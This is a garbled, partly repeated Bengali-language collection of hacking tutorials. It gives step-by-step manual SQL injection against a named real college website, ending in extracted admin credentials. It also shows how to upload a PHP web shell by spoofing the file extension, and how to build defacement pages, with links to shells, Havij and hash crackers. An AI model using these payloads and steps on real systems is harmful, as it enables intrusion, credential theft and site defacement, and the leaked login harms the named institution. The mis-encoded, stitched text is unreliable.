অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
